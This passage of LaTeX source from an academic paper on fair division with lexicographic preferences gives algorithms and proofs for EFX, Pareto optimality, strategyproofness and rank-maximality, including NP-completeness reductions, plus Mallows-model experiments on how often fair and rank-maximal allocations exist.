Each algorithm in the family (Algorithm~\ref{alg:EFX+PO}) is specified by an ordering $\sigma$ over the agents, and consists of two phases. Phase 1 involves a single round of serial dictatorship according to $\sigma$. Phase 2 assigns the remaining goods among the \emph{unenvied agents} according to a picking sequence $\tau$. Note that the set of unenvied agents after Phase 1 must be nonempty; in particular, the last agent in $\sigma$ belongs to this set since every other agent prefers the good that it picked in Phase 1 over any good in the last agent's bundle.
\begin{algorithm}[h]
\DontPrintSemicolon
\linespread{1.2}
\KwIn{An instance $\langle N, M, \> \rangle$ with lexicographic preferences}
\Parameters{A permutation $\sigma: N \rightarrow N$ of the agents}
\KwOut{An allocation $A$}
$A \leftarrow (\emptyset,\dots,\emptyset)$\;
\Comment{\scriptsize{Phase 1: Serial dictatorship for assigning $n$ goods}}
\tikzmk{A}
Agents arrive according to $\sigma$, and each picks a favorite good from the set of remaining goods. Update the partial allocation $A$.\;
\nonl \tikzmk{B}
\boxit{mygray}
\Comment{\scriptsize{Phase 2: Allocate leftover goods via picking sequence}}
\oldnl \tikzmk{A}
\uIf{the set of remaining goods is nonempty}{$U \leftarrow \{i \in N : i \text{ is not envied by any agent under $A$}\}$.\;
Fix any picking sequence $\tau$ of length $m-n$ consisting only of the agents in $U$ (i.e., the \emph{unenvied} agents).\;
Assign remaining goods according to $\tau$ and update $A$.\;}
\tikzmk{B}
\boxit{mygray}
\KwRet{$A$}
\caption{\textrm{\textup{EFX}}{}+\textup{PO}{}}
\label{alg:EFX+PO}
\end{algorithm}
\begin{restatable}{thm}{thmefxpo}
For any ordering $\sigma$ of the agents, the allocation computed by Algorithm~\ref{alg:EFX+PO} satisfies \textrm{\textup{EFX}}{} and \textup{PO}{}. Conversely, any \textrm{\textup{EFX}}{}+\textup{PO}{} allocation can be computed by Algorithm~\ref{alg:EFX+PO} for some choice of $\sigma$.
\label{thm:EFX_PO}
\end{restatable}
\begin{proof}
We will start by showing that the allocation $A$ returned by Algorithm~\ref{alg:EFX+PO} satisfies \textrm{\textup{EFX}}{}. From \Cref{prop:efx_property}, it suffices to show that any envied agent gets exactly one good in $A$. Notice that any agent that is envied at the end of Phase 1 does not receive any good in Phase 2. Furthermore, the pairwise envy relations remain unchanged during Phase 2 since each agent has already picked its favorite available good in Phase 1, and because of lexicographic preferences, any goods assigned in Phase 2 are strictly less preferred. Thus, $A$ is \textrm{\textup{EFX}}{}.
To prove Pareto optimality (\textup{PO}{}), suppose, for contradiction, that $A$ is Pareto dominated by an allocation $B$. Then, there must exist some agent, say $i$, who receives a good under $A$ that it does not receive under $B$ (i.e., $A_i \setminus B_i \neq \emptyset$); we will call any such item a \emph{difference} good. Observe that the execution of Algorithm~\ref{alg:EFX+PO} can be described in terms of a combined picking sequence $\langle \sigma, \tau \rangle$. Thus, without loss of generality, we can define $i$ to be the \emph{first} agent according to $\langle \sigma, \tau \rangle$ to receive a difference good. Let $g$ denote the corresponding difference good picked by $i$, and note that $g \in A_i \setminus B_i$ by assumption.
Since $B$ Pareto dominates $A$ and $A_i \neq B_i$, we must have $B_i \, \>_i \, A_i$. For lexicographic preferences, this means that there exists a good $g' \in B_i \setminus A_i$ such that $g' \, \>_i \, g$. Since all agents preceding $i$ in $\langle \sigma, \tau \rangle$ pick the goods that they also own under $B$, the good $g'$ must be available (along with $g$) when it is $i$'s turn to pick. Thus, $i$ would not pick $g$, which is a contradiction. Hence, $A$ satisfies \textup{PO}{}.
To prove the converse, note that any \textup{PO}{} allocation can be induced by a picking sequence.\footnote{Indeed, in any \textup{PO}{} allocation, some agent must receive its favorite good (otherwise a cyclic exchange of the top-ranked goods gives a Pareto improvement). Add this agent to the picking sequence, and repeat the procedure for the remaining goods.} Given any \textrm{\textup{EFX}}{}+\textup{PO}{} allocation $A$, let $S$ denote the corresponding picking sequence. We claim that without loss of generality, the first $n$ positions in $S$ belong to $n$ different agents. Indeed, if some agent $i$ appears more than once in the $n$-prefix of $S$, then $|A_i|>1$. By \Cref{prop:efx_property}, $i$ must not be envied by any other agent. For lexicographic preferences, this means that the good picked by any other agent $j$ in its first appearance in $S$ is preferred by $j$ over every good picked by $i$.
Without loss of generality, let $i$ be the first agent with a repeated occurrence in $S$. Let $t_i$ denote the index (i.e., position in $S$) of the second appearance of $i$. Among all agents whose first appearance occurs after $t_i$, let $j$ denote the first one, and suppose this appearance occurs at position $t_j$ in the sequence $S$. Then, all positions between $t_i$ and until (but excluding) $t_j$ correspond to repeated occurrences. By the aforementioned argument, $j$ does not envy any of the corresponding agents. Furthermore, none of the corresponding agents prefer the good picked by $j$ over the ones that they picked, since they appear before $j$ in the sequence $S$.
Thus, a modified sequence where $j$ is pushed immediately before $t_i$ without making any other changes results in the same allocation. Repeated use of the same observation gives us that the repeated appearances of unenvied agents can be ``pushed behind''' the first appearances of other agents without loss of generality, implying that the $n$-prefix of $S$ is a permutation.
We can now instantiate Algorithm~\ref{alg:EFX+PO} with $\sigma$ as the $n$-prefix of $S$ and $\tau$ as $S \setminus \sigma$ to compute the allocation
$A$.
\end{proof}
\section{Characterizing Strategyproof Mechanisms}
In addition to fairness and efficiency, an important desideratum for allocation mechanisms is strategyproofness. For additive valuations, strategyproofness is known to be incompatible even with \EF{1}~\citep{amanatidis2017truthful}. By contrast, for lexicographic preferences, we will show that strategyproofness can be achieved in conjunction with a stronger fairness guarantee (\textrm{\textup{EFX}}{}) as well as Pareto optimality, non-bossiness, and neutrality~(\Cref{thm:EFX_PO_SP_Neutral_NonBossy}). Indeed, a special case of the mechanism in Algorithm~\ref{alg:EFX+PO} where the last agent gets all the remaining goods characterizes these properties (Algorithm~\ref{alg:IQSD}).
\begin{algorithm}[h]
\DontPrintSemicolon
\linespread{1.2
\KwIn{An instance $\langle N, M, \> \rangle$ with lexicographic preferences}
\Parameters{A permutation $\sigma: N \rightarrow N$ of the agents}
\KwOut{An allocation $A$}
$A \leftarrow (\emptyset,\dots,\emptyset)$\;
Execute one round of serial dictatorship according to $\sigma$.\;
Assign all remaining goods to the last agent in $\sigma$.\;
\KwRet{$A$}
\caption{}
\label{alg:IQSD}
\end{algorithm}
Our characterization result builds upon an existing result of \citet[Theorem 5.6]{hosseini2019multiple} (see \Cref{prop:quota}) that characterizes four out of the five properties mentioned above (excluding \textrm{\textup{EFX}}{}) in terms of {\em Serial Dictatorship Quota Mechanisms} (\textrm{\textup{SDQ}}{}), as defined below.
\begin{dfn}
The Serial Dictatorship Quota $(\textrm{\textup{SDQ}}{})$ mechanism is specified by a permutation $\sigma: N \rightarrow N$ of the agents and a set of quotas $(q_1,\dots,q_n)$ such that $\sum_{i=1}^n q_i = m$. Given a lexicographic instance $\langle N, M, \> \rangle$ as input, the \textrm{\textup{SDQ}}{} mechanism considers agents in the order $\sigma$, and assigns the $i^\text{th}$ agent its most preferred bundle of size $q_i$ from the remaining goods. The resulting allocation is returned as output.
\label{dfn:sdq}
\end{dfn}
\begin{restatable}[\citealp{hosseini2019multiple}]{prop}{HLquota}
For lexicographic preferences, a mechanism is Pareto optimal, strategyproof, non-bossy, and neutral if and only if it is \textrm{\textup{SDQ}}{}.
\label{prop:quota}
\end{restatable}
The next result (\Cref{thm:EFX_PO_SP_Neutral_NonBossy}) provides an algorithmic characterization of \textrm{\textup{EFX}}{}, \textup{PO}{}, strategyproofness, non-bossiness, and neutrality for lexicographic preferences.
\begin{restatable}{thm}{thmIQSD}
For any ordering $\sigma$ of the agents, Algorithm~\ref{alg:IQSD} is \textrm{\textup{EFX}}{}, \textup{PO}{}, strategyproof, non-bossy, and neutral. Conversely, any mechanism satisfying these properties can be implemented by Algorithm~\ref{alg:IQSD} for some $\sigma$.
\label{thm:EFX_PO_SP_Neutral_NonBossy}
\end{restatable}
\begin{proof}
Note that Algorithm~\ref{alg:IQSD} is a special case of \textrm{\textup{SDQ}}{} for the quotas $q_i = 1$ for all $i \in [n-1]$ and $q_n=m-(n-1)$. Therefore, from \Cref{prop:quota}, it is \textup{PO}{}, strategyproof, non-bossy, and neutral. Furthermore, Algorithm~\ref{alg:IQSD} is also a special case of Algorithm~\ref{alg:EFX+PO} and is therefore \textrm{\textup{EFX}}{} (\Cref{thm:EFX_PO}).
To prove the converse, let $f$ be an arbitrary mechanism satisfying the desired properties. From \Cref{prop:quota}, $f$ must be an \textrm{\textup{SDQ}}{} mechanism for some ordering $\sigma$ and some set of quotas $(q_1,\dots,q_n)$ such that $\sum_{i=1}^n q_i = m$. If $m < n$, the claim follows easily from \Cref{thm:EFX_PO}, so we can assume, without loss of generality, that $m \geq n$. Then, by \Cref{prop:efx_property}, we must have that $q_i \geq 1$ for all $i \in [n]$. Therefore, it suffices to show that $q_i = 1$ for all $i \in [n-1]$.
Assume, without loss of generality, that $\sigma = (1,2,\dots,n)$. Consider a preference profile $\>$ with \emph{identical} preferences, i.e., $\>_i = \>_k$ for all $i,k \in [n]$. Let $g_1 \succ_i g_2 \succ_i \dots \succ_i g_m$ for any $i \in [n]$. Suppose, for contradiction, that $q_i > 1$ for some $i \in [n-1]$, and let $k \in [n-1]$ be the smallest index for which this happens. Since $f$ is an \textrm{\textup{SDQ}}{} mechanism, we have that $g_k \in f_k(\>)$ and $|f_k(\>)| = q_k > 1$. Then, for every $\ell > k$, agent $\ell$ envies agent $k$. By \Cref{prop:efx_property}, $f$ violates \textrm{\textup{EFX}}{}, which is a contradiction. Therefore, $f$ must be identical to Algorithm~\ref{alg:IQSD} for the ordering $\sigma$, as desired.
\end{proof}
\begin{restatable}{remark}{groupstrategyproof}
We note that any deterministic strategyproof and non-bossy mechanism is also group-strategyproof~\citep{Papai00:Strategyproof}. Therefore, Algorithm~\ref{alg:IQSD} also characterizes the set of \textrm{\textup{EFX}}{}, \textup{PO}{}, group-strategyproof, non-bossy, and neutral mechanisms under lexicographic preferences.
\label{rmk:groupstrategyproof}
\end{restatable}
In \Cref{prop:minimalityGoods} (whose proof is presented in \Cref{sec:app:prop:minimalityGoods} of the appendix), we show that the set of properties considered in \Cref{thm:EFX_PO_SP_Neutral_NonBossy} is \emph{minimal}. That is, dropping any property from the characterization necessarily allows for feasible mechanisms beyond those in Algorithm~\ref{alg:IQSD}.
\begin{restatable}{prop}{minimalityGoods}
The set $\{$\textrm{\textup{EFX}}{}, \textup{PO}{}, strategyproofness, non-bossiness, neutrality$\}$ is a minimal set of properties for characterizing the family of mechanisms in Algorithm~\ref{alg:IQSD}.
\label{prop:minimalityGoods}
\end{restatable}
The efficiency guarantee in \Cref{thm:EFX_PO_SP_Neutral_NonBossy} cannot be strengthened much further, as there exists an instance where any \emph{rank-maximal} (\textrm{\textup{RM}}{}) mechanism violates strategyproofness~(\Cref{eg:SP+RM_NonExistence}).
\begin{example}[\textbf{Strategyproofness and \textrm{\textup{RM}}{}}]
Consider the instance below with $k+2$ goods $g_1,\dots,g_{k+2}$ and three agents:
\begin{align*}
a_1: ~&~ g_1 \, \> \, g_2 \, \> \, g_3 \, \> \dots \> \, g_{k+1} \, \> \, g_{k+2}\\ \nonumber
a_2: ~&~ g_1 \, \> \, g_2 \, \> \, g_3 \, \> \dots \> \, g_{k+1} \, \> \, g_{k+2}\\ \nonumber
a_3: ~&~ g_{2} \, \> \, g_3 \, \> \, g_4 \, \> \dots \> \, g_{k+2} \, \> \, g_1. \nonumber
\end{align*}
Each of the goods $g_2,\dots,g_{k+2}$ is ranked higher by $a_3$ than by $a_1$ or $a_2$, and therefore must be assigned to $a_3$ in any rank-maximal allocation. Suppose, under truthful reporting, $g_1$ is assigned to $a_1$, and $a_2$ gets an empty bundle. Then, $a_2$ could falsely report $g_3$ as its favorite good. By rank-maximality, $g_3$ is now assigned to $a_2$, resulting in a strict improvement.
\label{eg:SP+RM_NonExistence}
\end{example}
The non-existence result in \Cref{eg:SP+RM_NonExistence} prompts us to forego strategyproofness (as well as non-bossiness and neutrality) and focus only on (approximate) envy-freeness and rank-maximality.
\section{Envy-Freeness and Rank-Maximality}
For lexicographic preferences, it is easy to see that a complete allocation is envy-free if and only if each agent receives its favorite good. Checking the existence of an envy-free allocation therefore boils down to computing a (left-)perfect matching in a bipartite graph where the left and the right vertex sets correspond to the agents and the goods, respectively, and the edges denote the top-ranked good of each agent. If an envy-free partial allocation of the top-ranked goods exists, then it can be extended to a complete rank-maximal allocation by assigning each remaining good to an agent that has the highest rank for it (note that the assignment of the remaining goods does not introduce any envy). Thus, the existence of an envy-free and rank-maximal allocation can be checked efficiently for lexicographic preferences (\Cref{prop:EF_RM_Polytime}).
\begin{restatable}[]{prop}{EFRM}
There is a polynomial-time algorithm that, given a lexicographic instance as input, computes an envy-free and rank-maximal allocation, whenever one exists.
\label{prop:EF_RM_Polytime}
\end{restatable}
Since an envy-free allocation is not guaranteed to exist, one could ask whether rank-maximality can always be achieved alongside \emph{approximate} envy-freeness; in particular, \EF{k} and \textrm{\textup{EFX}}{}. \Cref{eg:EFk+RM_NonExistence} shows that both of these notions could conflict with rank-maximality. Specifically, for any fixed $k \in \mathbb{N}$, an \EF{k}+\textrm{\textup{RM}}{} allocation could fail to exist. Since \textrm{\textup{EFX}}{} implies \EF{1}, a similar incompatibility holds for \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} as well.
\begin{example}[\textbf{\EF{k} and \textrm{\textup{RM}}{}}]
Consider again the instance in \Cref{eg:SP+RM_NonExistence}. Any rank-maximal allocation assigns the goods $g_2,\dots,g_{k+2}$ to $a_3$. If $g_1$ is assigned to $a_1$, then $a_2$ gets an empty bundle and the pair $\{a_2,a_3\}$ violates \EF{k}.
\label{eg:EFk+RM_NonExistence}
\end{example}
Given the non-existence result in \Cref{eg:EFk+RM_NonExistence}, a natural question is whether there exists an efficient algorithm for checking the existence of an approximately envy-free and rank-maximal allocation. Unfortunately, the news here is also negative, as the problem turns out to be \textrm{\textup{NP-complete}}{} (\Cref{thm:EFX_RM_NP-complete}). Thus, while \textrm{\textup{EFX}}{} can always be achieved in conjunction with Pareto optimality (\Cref{thm:EFX_PO,thm:EFX_PO_SP_Neutral_NonBossy}), strengthening the efficiency notion to rank-maximality results in non-existence and computational hardness.
\begin{restatable}[]{thm}{EFXRM}
Determining whether a given instance admits an \textrm{\textup{EFX}}{} and rank-maximal allocation is \textrm{\textup{NP-complete}}{}.
\label{thm:EFX_RM_NP-complete}
\end{restatable}
\begin{proof}
Membership in \textrm{\textup{NP}}{} follows from the fact that both \textrm{\textup{EFX}}{} and rank-maximality can be checked in polynomial time. To prove \textrm{\textup{NP-hard}}{}ness, we will show a reduction from a restricted version of \textup{\textsc{3-SAT}}{} called \textup{\textsc{(2/2/3)-SAT}}{}, which is known to be \textrm{\textup{NP-complete}}{}~\citep{AD19sat}. An instance of \textup{\textsc{(2/2/3)-SAT}}{} consists of a collection of $r$ variables $X_1,\dots,X_r$ and $s$ clauses $C_1,\dots,C_s$, where each clause is specified as a disjunction of three literals, and each variable occurs in exactly four clauses, twice negated and twice non-negated. The goal is to determine if there is a truth assignment that satisfies all clauses.
\emph{Construction of the reduced instance}: We will construct a fair division instance with $n = 4r$ agents and $m=4r+s$ goods. The set of agents consists of $2r$ \emph{literal} agents $\{x_i,\overline{x}_i\}_{i \in [r]}$, and $2r$ \emph{dummy} agents $\{d_i,\overline{d}_i\}_{i \in [r]}$. The set of goods consists of $2r$ \emph{signature} goods $\{S_i,\overline{S}_i\}_{i \in [r]}$, $s$ \emph{clause} goods $\{C_j\}_{j \in [s]}$, and $2r$ \emph{dummy} goods $\{T_i,B_i\}_{i \in [r]}$; here $T_i$ and $B_i$ denote the \emph{top} and the \emph{bottom} dummy goods associated with the variable $X_i$, respectively.
\begin{table}[ht]
\renewcommand{\arraystretch}{1.35}
\centering
\begin{tabular}{|cl|}
%
\hline
%
$\vartriangleright$: & $S_1 \succ \overline{S}_1 \succ \dots \succ S_r \succ \overline{S}_r \succ T_1 \succ \dots \succ T_r$ \hfill $\succ C_1 \succ \dots \succ C_s \succ B_1 \succ \dots \succ B_r$ \\
%
\hline
%
$x_i$: & $S_i \succ \, \vartriangleright_{(j-1)} \, \succ C_j \succ \, \vartriangleright_{(k-j-1)} \, \succ C_k \succ *$ \\
%
\hline
%
$\overline{x}_i$: & $\overline{S}_i \succ \, \vartriangleright_{(p-1)} \, \succ C_p \succ \, \vartriangleright_{(q-p-1)} \, \succ C_q \succ *$ \\
%
\hline
%
$d_i$: & $T_i \succ S_i \succ B_i \succ * ~~~ \text{ and } ~~~ \overline{d}_i: T_i \succ \overline{S}_i \succ B_i \succ *.$ \\
%
\hline
\end{tabular}
\caption{Preferences of agents in the proof of \Cref{thm:EFX_RM_NP-complete}.}
\label{tab:EFX_RM_NP-complete}
\end{table}
\emph{Preferences}: \Cref{tab:EFX_RM_NP-complete} shows the preferences of the agents. Let $\vartriangleright$ define a \emph{reference} ordering on the set of goods. For every $i \in [r]$, if $C_{j}$ and $C_{k}$ denote the two clauses containing the positive literal $x_i$, then the literal agent $x_i$ ranks $S_i$ at the top, and the clause goods $C_j$ and $C_k$ at ranks $j+1$ and $k+1$, respectively. The missing positions consist of remaining goods ranked according to $\vartriangleright$ (we write $\vartriangleright_{\ell}$ to denote the top $\ell$ goods in $\vartriangleright$ that have not been ranked so far). The symbol $*$ indicates rest of the goods ordered according to $\vartriangleright$. The preferences of the (negative) literal agent $\overline{x}_i$ and the dummy agents $d_i$, $\overline{d}_i$ are defined similarly as shown in \Cref{tab:EFX_RM_NP-complete}. This completes the construction of the reduced instance.
Note that for any fixed $i \in [r]$, the signature good $S_i$ (or $\overline{S}_i$) is ranked at the top position by the literal agent $x_i$ (or $\overline{x}_i$), and at a lower position by all other agents. Therefore, any rank-maximal allocation must assign $S_i$ to $x_i$ and $\overline{S}_i$ to $\overline{x}_i$. For a similar reason, a rank-maximal allocation must assign the clause good $C_j$ to a literal agent corresponding to a literal contained in the clause $C_j$, and the dummy goods $T_i,B_i$ to the dummy agents $d_i,\overline{d}_i$. The aforementioned \emph{necessary} conditions for rank-maximality are also \emph{sufficient} since each clause good $C_j$ is ranked at the same position by all literal agents corresponding to the literals contained in clause $C_j$, and the goods $T_i$ and $B_i$ are ranked identically by $d_i$ and $\overline{d}_i$.
We will now argue the equivalence of solutions.
($\Rightarrow$) Given a satisfying truth assignment, the desired allocation, say $A$, can be constructed as follows: For every $i \in [r]$, assign the signature goods $S_i$ and $\overline{S}_i$ to the literal agents $x_i$ and $\overline{x}_i$, respectively. If $x_i = 1$, then assign $T_i$ to $d_i$ and $B_i$ to $\overline{d}_i$, otherwise, if $x_i = 0$, then assign $T_i$ to $\overline{d}_i$ and $B_i$ to $d_i$. For every $j \in [s]$, the clause good $C_j$ is assigned to a literal agent $x_i$ (or $\overline{x}_i$) if the literal $x_i$ (or $\overline{x}_i$) is contained in the clause $C_j$ and the clause is satisfied by the literal, i.e., $x_i = 1$ (or $\overline{x}_i = 1$). Note that under a satisfying assignment, each clause must have at least one such literal.
Observe that allocation $A$ satisfies the aforementioned sufficient condition for rank-maximality. Furthermore, any envied agent in $A$ receives exactly one good; in particular, if $d_i$ receives a bottom dummy good $B_i$, then we have $x_i = 0$ in which case the literal agent $x_i$, who is envied by $d_i$, does not receive any clause goods. By \Cref{prop:efx_property}, $A$ is \textrm{\textup{EFX}}{}.
($\Leftarrow$) Now suppose there exists an \textrm{\textup{EFX}}{} and rank-maximal allocation $A$. Then, $A$ must satisfy the aforementioned necessary condition for rank-maximality. That is, for every $i \in [r]$, the signature goods $S_i$ and $\overline{S}_i$ are assigned to the literal agents $x_i$ and $\overline{x}_i$, respectively (i.e., $S_i \in A_{x_i}$ and $\overline{S}_i \in A_{\overline{x}_i}$), and the dummy goods $T_i$ and $B_i$ are allocated between the dummy agents $d_i$ and $\overline{d}_i$ (i.e., $\{T_i,B_i\} \subseteq A_{d_i} \cup A_{\overline{d}_i}$). In addition, for every $j \in [s]$, the clause good $C_j$ is assigned to a literal agent $x_i$ (or $\overline{x}_i$) such that the literal $x_i$ (or $\overline{x}_i$) is contained in the clause $C_j$. Also, by \Cref{prop:efx_property}, each dummy agent must get exactly one dummy good.
We will construct a truth assignment for the \textup{\textsc{(2/2/3)-SAT}}{} instance as follows: For every $i \in [r]$, if $T_i \in A_{d_i}$, then set $x_i = 1$, otherwise set $x_i = 0$. Note that the assignment is feasible as no literal is assigned conflicting values. To see why this is a satisfying assignment, consider any clause $C_j$. Suppose the clause good $C_j$ is assigned to a literal agent $x_i$ (an analogous argument works when $\overline{x}_i$ gets $C_j$). Then, due to rank-maximality, we know that the literal $x_i$ must be contained in the clause $C_j$. Furthermore, since agent $x_i$ gets more than one good ($S_i,C_j \in A_{x_i}$), it cannot be envied under $A$ (\Cref{prop:efx_property}). Thus, the dummy agent $d_i$ must get the top good $T_i$. Recall that in this case we set $x_i=1$. Since clause $C_j$ contains $x_i$, it must be satisfied, as desired.
\end{proof}
The intractability in \Cref{thm:EFX_RM_NP-complete} persists even when we relax the fairness requirement from \textrm{\textup{EFX}}{} to \EF{k}.
\begin{restatable}[]{thm}{EFkRM}
For any fixed $k \in \mathbb{N}$, determining the existence of an \EF{k} and rank-maximal allocation is \textrm{\textup{NP-complete}}{}.
\label{thm:EFk_RM_NP-complete}
\end{restatable}
We note that the proof of \Cref{thm:EFk_RM_NP-complete} (see \Cref{sec:app:thm:EFk_RM_NP-complete} of the appendix) differs considerably from that of \Cref{thm:EFX_RM_NP-complete} as neither result is an immediate consequence of the other. Indeed, a YES instance of \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} is also a YES instance of \EF{k}+\textrm{\textup{RM}}{}, but the same is not true for a NO instance.
A corollary of \Cref{thm:EFk_RM_NP-complete} is that checking the existence of \EF{1}+\textrm{\textup{RM}}{} allocations for \emph{additive valuations} is also \textrm{\textup{NP-complete}}{}.\footnote{An additive valuations instance in which agent $i$ values its $j^\textup{th}$ favorite good at $2^{m-j+1}$ is equivalent to the lexicographic instance.} For this setting, \citet{AHM+19constrained} have shown \textrm{\textup{NP-complete}}{}ness even for three agents. By contrast, we will show that for lexicographic preferences, the problem is efficiently solvable when $n=3$ (\Cref{prop:EF1_RM_ThreeAgents}). The proof of this result is deferred to \Cref{sec:app:prop:EF1_RM_ThreeAgents} of the appendix.
\begin{restatable}[]{prop}{EFoneRMThreeAgents}
There is a polynomial-time algorithm that, given as input a lexicographic instance with three agents, computes an \EF{1} and rank-maximal allocation, whenever one exists.
\label{prop:EF1_RM_ThreeAgents}
\end{restatable}
Another avenue for circumventing the intractability in \Cref{thm:EFX_RM_NP-complete} is provided by \emph{maximin share guarantee} (\textrm{\textup{MMS}}{}). For additive valuations, \textrm{\textup{EFX}}{} and \textrm{\textup{MMS}}{} are incomparable notions~\citep{ABM18comparing}. However, for lexicographic preferences, \textrm{\textup{MMS}}{} is strictly weaker than \textrm{\textup{EFX}}{} (see \Cref{prop:EFX_implies_MMS} in \Cref{sec:app:prop:EFX_implies_MMS} of the appendix). This relaxation of \textrm{\textup{EFX}}{} turns out to be computationally useful, as the existence of an \textrm{\textup{MMS}}{} and rank-maximal allocations can be checked in polynomial time.
\begin{restatable}[]{thm}{MMSRMGoods}
There is a polynomial-time algorithm that, given as input a lexicographic instance, computes an \textrm{\textup{MMS}}{} and rank-maximal allocation, whenever one exists.
\label{thm:MMS_RM_Goods}
\end{restatable}
\begin{proof}
Fix any agent $i \in N$, and suppose its preference is given by $\>_i \coloneqq g_1 \, \> \, g_2 \, \> \dots \> \, g_m$. Under lexicographic preferences, the \textrm{\textup{MMS}}{} partition of agent $i \in N$ is uniquely defined as
$$\left\{\{g_1\},\{g_2\},\dots,\{g_{n-1}\},\{g_n,g_{n+1},\dots,g_m\}\right\}.$$
This observation gives a characterization of \textrm{\textup{MMS}}{} allocations: An allocation is \textrm{\textup{MMS}}{} if and only if each agent either receives one or more of its top-$(n-1)$ goods, or it receives all of its bottom-$(m-n+1)$ goods.
Construct a bipartite graph $G = (N \cup M, E)$ between agents and goods where an edge $(i,j) \in E$ exists if agent $i$ ranks good $j$ within its top-$(n-1)$ goods, and good $j$ can be `rank-maximally assigned' to agent $i$ (in other words, agent $i$ ranks good $j$ at least as high as any other agent).
If $G$ admits a perfect matching (this can be checked in polynomial time), then, by the above characterization, we have a partial allocation that is \textrm{\textup{MMS}}{} and rank-maximal. By assigning the unmatched goods in a rank-maximal manner, we obtain a desired complete allocation.
Thus, for the rest of the proof, let us assume that $G$ does not have a perfect matching. Note that in this case, the unordered set of top-$(n-1)$ goods of each agent is the same. Then, either there is no \textrm{\textup{MMS}}{}+rank-maximal allocation, or if there exists one, then it must be that some agent gets \emph{all} of its bottom-$(m-n+1)$ goods. The latter condition can be checked in polynomial time as follows (note that this would establish the desired polynomial running time of our algorithm): First, we check for each agent whether it can be assigned its bottom-$(m-n+1)$ goods in a rank-maximal manner; let $S$ denote the set of all agents who satisfy this condition. If $S$ is empty, then we can return NO. Otherwise, we move to the next step.
Fix an arbitrary agent $i \in S$, and let $g_n,g_{n+1},...,g_m$ denote its bottom-$(m-n+1)$ goods. Since each of $g_n,g_{n+1},...,g_m$ is rank-maximal for agent $i$, it must be that \emph{every} agent ranks these goods in the \emph{exact same way}, i.e., between the positions $n$ and $m$. The reason is that since the good $g_m$ can be rank-maximally assigned to agent $i$, it must be ranked last by \emph{every} agent. Subject to that, the good $g_{m-1}$ must be ranked at $m-1$ by every agent, and so on. In this case, we can ``bundle up'' the bottom $m-n+1$ goods into a single ``meta'' good, and treat the new instance as one with $n$ agent and $n$ goods, where the meta good is ranked last by everybody. Then, the old instance admits an \textrm{\textup{MMS}}{} allocation if and only if the new instance admits one, which, in turn, happens if and only if the bipartite graph of the new instance admits a perfect matching.
\end{proof}
\section{Experiments}
We now revisit the non-existence result in \Cref{eg:EFk+RM_NonExistence} by examining how frequently fair (i.e., \EF{}, \textrm{\textup{EFX}}{}, \EF{1}, \textrm{\textup{MMS}}{}) and efficient (i.e., rank-maximal) allocations exist in synthetically generated data. To that end, we consider a fixed number of agents ($n=5$) whose preferences over a set of $m$ goods (where $m \in \{5,\dots,100\}$) are generated using the Mallows model~\citep{Mallows1957}. Given a reference ranking $\>^* \in \L$ and a dispersion parameter $\phi \in [0,1]$, the probability of generating a ranking $\>_i \in \L$ under the Mallows model is given by $\frac{1}{Z} \phi^{\texttt{d}(\>^*,\>_i)}$, where $Z$ is a normalization constant and $\texttt{d}(\cdot)$ is the Kendall's Tau distance. Thus, $\phi=0$ induces identical preferences (i.e., $\>_i=\>^*$) while $\phi=1$ is the uniform distribution. For each combination of $m$, $n$, and $\phi\in\{0,0.25,0.5,0.75,1\}$, we sample $1000$ preference profiles, and use an integer linear program to check the existence of $\{\EF{},\textrm{\textup{EFX}}{},\EF{1},\textrm{\textup{MMS}}{}\}+\textrm{\textup{RM}}{}$ allocations. Code and data for all our experiments is available at \url{https://github.com/sujoyksikdar/Envy-Freeness-With-Lexicographic-Preferences}.
\begin{figure*}[ht]
\centering
\includegraphics[width=0.49\textwidth]{plots/mallows_EF+RM_n=5_existence_m=100.png}
\includegraphics[width=0.49\textwidth]{plots/mallows_EFX+RM_n=5_existence_m=100.png}\\
\includegraphics[width=0.49\textwidth]{plots/mallows_EF1+RM_n=5_existence_m=100.png}
\includegraphics[width=0.49\textwidth]{plots/mallows_MMS+RM_n=5_existence_m=100.png}
\caption{The plots show how the fraction of instances that admit $\{\EF{},\textrm{\textup{EFX}}{},\EF{1},\textrm{\textup{MMS}}{}\}+\textrm{\textup{RM}}{}$ allocations varies with the number of goods. The number of agents is fixed ($n=5$), and their preferences follow the Mallows model with dispersion parameter $\phi$.}
\label{fig:mallows}
\end{figure*}
\Cref{fig:mallows} presents our experimental results. For identical preferences ($\phi=0$), every complete allocation is Pareto optimal as well as rank-maximal. Therefore, an \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} (and hence \{\EF{1}, \textrm{\textup{MMS}}{}\}+\textrm{\textup{RM}}{}) allocation always exists in this case, validating our theoretical result in \Cref{thm:EFX_PO}. On the other hand, an \EF{}+\textrm{\textup{RM}}{} allocation fails to exist because of the conflict in top-ranked goods. At the other extreme for $\phi=1$ (i.e., the uniform distribution), we note that the probability of existence of \EF{}+\textrm{\textup{RM}}{} outcomes grows steadily with $m$. This is because for (exact) envy-freeness, all five rankings should have distinct top goods, the probability of which is $(1-\frac{1}{m}) \cdot (1-\frac{2}{m}) \cdot (1-\frac{3}{m}) \cdot (1-\frac{4}{m})$. For $m=100$, this value is roughly $0.9$, suggesting that in the asymptotic regime, envy-free (and, by extension, envy-free and rank-maximal) allocations are increasingly likely to exist (as \Cref{fig:mallows} shows), and that our algorithm in \Cref{prop:EF_RM_Polytime} will return \EF{}+\textrm{\textup{RM}}{} outcomes with high probability.
We observe that for small values of $m$, a significantly greater fraction of instances admit \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} allocations than \EF{}+\textrm{\textup{RM}}{} allocations. However, as the number of goods increases, this gap, i.e. the fraction of instances that do not admit \EF{}+\textrm{\textup{RM}}{} allocations but do admit \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} allocations, shrinks rapidly. We conjecture that the likelihood that every agent must be allocated more than one good in any \textrm{\textup{RM}}{} allocation increases as the number of goods increases. Therefore, it is likely that envied agents receive more than one good, which is in direct conflict with \textrm{\textup{EFX}}{}. As we show in \Cref{sec:app:experiments} of the appendix, for relatively small values of $m$, the fraction of instances that admit \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} allocations decreases initially with the number of goods up to a point, after which the difference between the fractions of instances that admit \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} and \EF{}+\textrm{\textup{RM}}{} becomes negligible, and we observe an increasing trend both in the fraction of instances that admit \EF{}+\textrm{\textup{RM}}{} allocations and those that admit \textrm{\textup{EFX}}{}+\textrm{\textup{RM}}{} allocations.
